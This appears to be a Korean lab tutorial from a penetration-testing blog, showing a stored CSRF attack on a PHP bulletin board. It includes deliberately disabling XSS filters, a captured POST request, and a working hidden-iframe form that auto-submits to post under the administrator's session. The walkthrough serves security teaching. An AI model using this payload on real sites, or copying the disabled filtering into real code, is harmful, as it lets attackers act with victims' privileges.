실습> CSRF를 이용한 게시판 글쓰기 2
CSRF 실습 문제점 :
관리자가 게시글을 클릭하면 내용이 안보이고 submit() 메소드에 의해서 튕긴다.
이를 해결하기 위해서는 <iframe> 태그를 이용한다.
<iframe> 태그는 html 태그에서 include 역할을 한다.
1. iframe 사용법
폼 태그 속성
name : 폼을 식별하기 위한 이름
action : 폼 내용을 전송할 곳
method : 전송 방식
target : action 에서 지정한 내용이 현재 창이 아닌 이곳에서 열도록 지정
아래 파일을 생성하고 <iframe> 태그 사용법을 확인한다.
-- iframe.html --
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>iframe test </title>
</head>
<body>
iframe test1 <br>
<iframe src=http://iei.or.kr/ width=300 height=300> <br>
iframe test2
</body>
-- iframe.html --
-- iframe2.html --
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>iframe test </title>
</head>
<body>
iframe test2 <br>
<form target=iframetest>
<!--<form>-->
<input type=text name=userid>
<input type=submit value=전송>
</form>
<br>
<?
if(isset($_GET['userid']))
print_r($_GET);
?>
<br>
<!-- <iframe name=iframetest width=0 height=0> -->
<iframe width=300 height=300>
</body>
</html>
-- iframe2.html --
2. 브라우저 2개 실행
세 세션으로 세션을 다르게해서 브라우저를 실행한다.
첫 번째 브라우저 : 관리자(admin/111111)로 로그인한다.
두 번째 브라우저 : 공격자(blackhat/111111)로 로그인한다.
3. 프록시 설정
Burp 로 프록시를 설정한다.
4. 쿠키값 확인
Burp or EditThisCookie 에서 각 브라우저의 쿠키값을 확인한다.
첫 번째 브라우저(관리자) : 0rheh1nbu9jcgfrpjj02bjh4l4
두 번째 브라우저(공격자) : 3ovodk4h07880b72saa165ru34
[root@www ~]# cat /var/lib/php/session/sess_0rheh1nbu9jcgfrpjj02bjh4l4
userid|s:5:"admin";username|s:9:"관리자";
[root@www ~]# cat /var/lib/php/session/sess_3ovodk4h07880b72saa165ru34
userid|s:8:"blackhat";username|s:9:"블랙햇";
5. read.html에서 코드 수정
필터링을 한 코드를 모두 주석으로 처리하고 필터링을 하지 않은 코드의 주석을 해제한다.
<td colspan=3 height=100 width=400>
<?
// 필터링 하지 않은 코드
echo $row['contents'];
?>
<?
// 필터링을 한 코드
// $contents = str_replace("<script>", "", $row['contents']);
//$contents = str_replace("<", "<", $row['contents']);
//echo $contents;
?>
</td>
6. writeok.html에서 코드 수정
필터링을 한 코드를 모두 주석으로 처리한다.
// 필터링 부분
// $contents = str_replace("<", "<", $contents);
7. 게시판의 글쓰기 분석
게시글을 작성하고 전송한 후 프록시에서 어떤 변수들이 전송되는지 분석한다.
POST /writeok.html HTTP/1.1
Host: 192.168.108.101
Content-Length: 689
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.101
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5A7CxjKLa3AKQW2F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/?id=bbs1&m=write
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=3ovodk4h07880b72saa165ru34
Connection: close
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="id"
bbs1
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="username"
blackhat
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="title"
csrf test
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="passwd"
1234
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="upfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="contents"
csrf test2
------WebKitFormBoundary5A7CxjKLa3AKQW2F--
위에서 POST 방식으로 /writeok.html로 변수와 값이 넘어가는 것을 확인할 수 있다.
POST /writeok.html
id=bbs1
username=blackhat
title=csrf test
passwd=1234
upfile=
filename=
contents=csrf test2
8. 게시글 작성
공격자가 로그인한 두 번째 브라우저에서 아래 악성글을 저장한다.
관리자가 게시글을 확인하는 순가 자신의 권한으로 글이 자동으로 저장된다.
이름 : blackhat
제목 : 관리자님 안녕하세요.
비밀번호 : 1234
내용 :
관리자님 안녕하세요.
<iframe name=csrfiframe width=0 height=0></iframe>
<form id=csrftest target=csrfiframe
method=POST action=/writeok.html enctype=multipart/form-data>
<input type=hidden name=id value=bbs1>
<input type=hidden name=username value=admin>
<input type=hidden name=title value="csrf test">
<input type=hidden name=passwd value=1234>
<input type=hidden name=upfile value=>
<input type=hidden name=filename value=>
<input type=hidden name=contents value="csrf test2">
</form>
<script>document.getElementById("csrftest").submit();</script>
게시글을 보는 순간 document.getElementById("csrftest").submit(); 메소드에 의해서 게시글이
저장되고 <iframe> 태그에 의해서 게시글의 목록으로 이동되지 않는다.
'Linux > 모의해킹' 카테고리의 다른 글
| SQLi 를 로그를 통해 좀 더 쉽게 분석 (0) | 2022.01.26 |
|---|---|
| SQLi 을 이용해서 로그인하기 (0) | 2022.01.26 |
| CSRF 를 이용한 특정 게시글 삭제하기 (0) | 2022.01.25 |
| CSRF 를 이용한 회원 가입하기 (0) | 2022.01.25 |
| CSRF 를 이용한 관리자 비밀번호 변경하기 (0) | 2022.01.25 |